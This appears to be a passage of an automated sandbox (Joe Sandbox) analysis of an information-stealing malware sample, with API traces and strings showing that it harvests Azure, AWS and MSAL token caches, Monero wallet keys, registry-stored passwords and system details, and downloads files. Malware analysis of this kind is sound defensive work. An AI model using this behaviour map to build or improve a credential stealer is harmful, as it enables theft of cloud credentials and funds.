lstrcat.KERNEL32(?,\.IdentityService\), ref: 001F4EE5

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F49B0
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,002008D2), ref: 001F49C5
Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F49E2
Part of subcall function 001F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 001F4A1E
Part of subcall function 001F4910: lstrcat.KERNEL32(?,0143E5A0), ref: 001F4A4A
Part of subcall function 001F4910: lstrcat.KERNEL32(?,00200FF8), ref: 001F4A5C
Part of subcall function 001F4910: lstrcat.KERNEL32(?,?), ref: 001F4A70
Part of subcall function 001F4910: lstrcat.KERNEL32(?,00200FFC), ref: 001F4A82
Part of subcall function 001F4910: lstrcat.KERNEL32(?,?), ref: 001F4A96
Part of subcall function 001F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 001F4AAC
Part of subcall function 001F4910: DeleteFileA.KERNEL32(?), ref: 001F4B31

Strings

\.IdentityService\, xrefs: 001F4ED9
\.azure\, xrefs: 001F4DC1
msal.cache, xrefs: 001F4EF0
Azure\.azure, xrefs: 001F4DD3
Azure\.aws, xrefs: 001F4E5F
*.*, xrefs: 001F4DD8
Azure\.IdentityService, xrefs: 001F4EEB
\.aws\, xrefs: 001F4E4D
*.*, xrefs: 001F4E64

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 340ff981ba81197ce98092ecf843a2b0fff9b05af02bf446a44974452604c905
Instruction ID: fb78fdfd0c189a352dcee8e0521bd6c58c76d213b7f5c2574d74d6338dd66b9a
Opcode Fuzzy Hash: 340ff981ba81197ce98092ecf843a2b0fff9b05af02bf446a44974452604c905
Instruction Fuzzy Hash: 034198B9A5030867DB10F770DC97FED3338AF65700F404594B689660C2EEB457E98B92

Function 001E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001E12B4
Part of subcall function 001E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 001E12BB
Part of subcall function 001E12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 001E12D7
Part of subcall function 001E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001E12F5
Part of subcall function 001E12A0: RegCloseKey.ADVAPI32(?), ref: 001E12FF

lstrcat.KERNEL32(?,00000000), ref: 001E134F
lstrlen.KERNEL32(?), ref: 001E135C
lstrcat.KERNEL32(?,.keys), ref: 001E1377

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,01439C98,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 001E1465

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
Part of subcall function 001E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
Part of subcall function 001E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
Part of subcall function 001E99C0: ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
Part of subcall function 001E99C0: LocalFree.KERNEL32(001E148F), ref: 001E9A90
Part of subcall function 001E99C0: CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

DeleteFileA.KERNEL32(00000000), ref: 001E14EF

Strings

wallet_path, xrefs: 001E1330
SOFTWARE\monero-project\monero-core, xrefs: 001E1335
.keys, xrefs: 001E136B
\Monero\wallet.keys, xrefs: 001E138D

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: cd5e3e54447d0578b1ff08e6b76f8eae4ff7bdc34f2faaccf09f81eb4b8a9529
Instruction ID: 7069473c7df86445ba970fce6b016f9711ebe971b46e61301299e2f26b196191
Opcode Fuzzy Hash: cd5e3e54447d0578b1ff08e6b76f8eae4ff7bdc34f2faaccf09f81eb4b8a9529
Instruction Fuzzy Hash: 275122F195011D57CB15FB60DC96AFD733CAF64300F8041A8B70E62092EF746B9ACAA6

Function 001F7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 001F7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001F757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7603
RtlAllocateHeap.NTDLL(00000000), ref: 001F760A
wsprintfA.USER32 ref: 001F7640

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Strings

\, xrefs: 001F7560
, xrefs: 001F764D, 001F7655, 001F761B, 001F7623
:, xrefs: 001F755C
C, xrefs: 001F754C

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-2840374103
Opcode ID: 98fee2b6f870d2a0c76187f22d0daa65c8fac18cd28f2d3f6e5e99f55fb138cf
Instruction ID: 3eff1c0ca4ec6eae77475dabb9aadc1cef08a4b0397afe0f5c5a87e4e1b5732c
Opcode Fuzzy Hash: 98fee2b6f870d2a0c76187f22d0daa65c8fac18cd28f2d3f6e5e99f55fb138cf
Instruction Fuzzy Hash: 9A4194B1D0424CABDF10DF94DC45BEEBBB8EF18714F100199F609A7280DB796A45CBA5

Function 001E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001E72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 001E733A
Part of subcall function 001E72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001E73B1
Part of subcall function 001E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 001E740D
Part of subcall function 001E72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 001E7452
Part of subcall function 001E72D0: HeapFree.KERNEL32(00000000), ref: 001E7459

lstrcat.KERNEL32(35C23020,002017FC), ref: 001E7606
lstrcat.KERNEL32(35C23020,00000000), ref: 001E7648
lstrcat.KERNEL32(35C23020, : ), ref: 001E765A
lstrcat.KERNEL32(35C23020,00000000), ref: 001E768F
lstrcat.KERNEL32(35C23020,00201804), ref: 001E76A0
lstrcat.KERNEL32(35C23020,00000000), ref: 001E76D3
lstrcat.KERNEL32(35C23020,00201808), ref: 001E76ED
task.LIBCPMTD ref: 001E76FB

Strings

: , xrefs: 001E764E

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 07474b5e2eca1f682f9363d8c59aad8486699b660ead7bde82c81332d1880c82
Instruction ID: be4d2f988329f0eba67ec6d6f90182198c2b4d8008976d95c740efe158bec969
Opcode Fuzzy Hash: 07474b5e2eca1f682f9363d8c59aad8486699b660ead7bde82c81332d1880c82
Instruction Fuzzy Hash: 7931AC71A00509DFDB18FBB6DC85DFE7378BB58301B544128F502A7291CB34A953CB55

Function 001F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0143D868,00000000,?,00200E2C,00000000,?,00000000), ref: 001F8130
RtlAllocateHeap.NTDLL(00000000), ref: 001F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 001F8158
__aulldiv.LIBCMT ref: 001F8172
__aulldiv.LIBCMT ref: 001F8180
wsprintfA.USER32 ref: 001F81AC

Strings

@, xrefs: 001F814D
%d MB, xrefs: 001F81A3

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 4b4c0542458f365306262692133d7fa9f2651c780d1b79b8ad9ec7c5b85c79fd
Instruction ID: 434ac2046753cc92901e3168e3b78ec87dc73aea4ea8671aec8ad26c74b5236f
Opcode Fuzzy Hash: 4b4c0542458f365306262692133d7fa9f2651c780d1b79b8ad9ec7c5b85c79fd
Instruction Fuzzy Hash: 132127B1A44208ABDB14DFD4DC49FBEB7B8FB44B00F104619F705AB280C77869018BA9

Function 001E60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

InternetOpenA.WININET(00200DF7,00000001,00000000,00000000,00000000), ref: 001E610F
StrCmpCA.SHLWAPI(?,0143E570), ref: 001E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 001E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 001E61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 001E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 001E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 001E6249
InternetCloseHandle.WININET(?), ref: 001E6253
InternetCloseHandle.WININET(00000000), ref: 001E6260

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 8e921b5030568ba8f5be5eba46bd26ce51298c6d8d28a79ad03eda161d8070f6
Instruction ID: 2595ecda12191a0f410132661acfc593cc05685937b4d55ffa46faa87991967c
Opcode Fuzzy Hash: 8e921b5030568ba8f5be5eba46bd26ce51298c6d8d28a79ad03eda161d8070f6
Instruction Fuzzy Hash: 5D5192B0A40209ABDB20DF51DC45BEE77B8FF54741F9080A8B709A71C0DB74AA85CF99

Function 001E72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 001E733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 001E740D
GetProcessHeap.KERNEL32(00000000,?), ref: 001E7452
HeapFree.KERNEL32(00000000), ref: 001E7459
task.LIBCPMTD ref: 001E7555

Strings

Password, xrefs: 001E7401

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
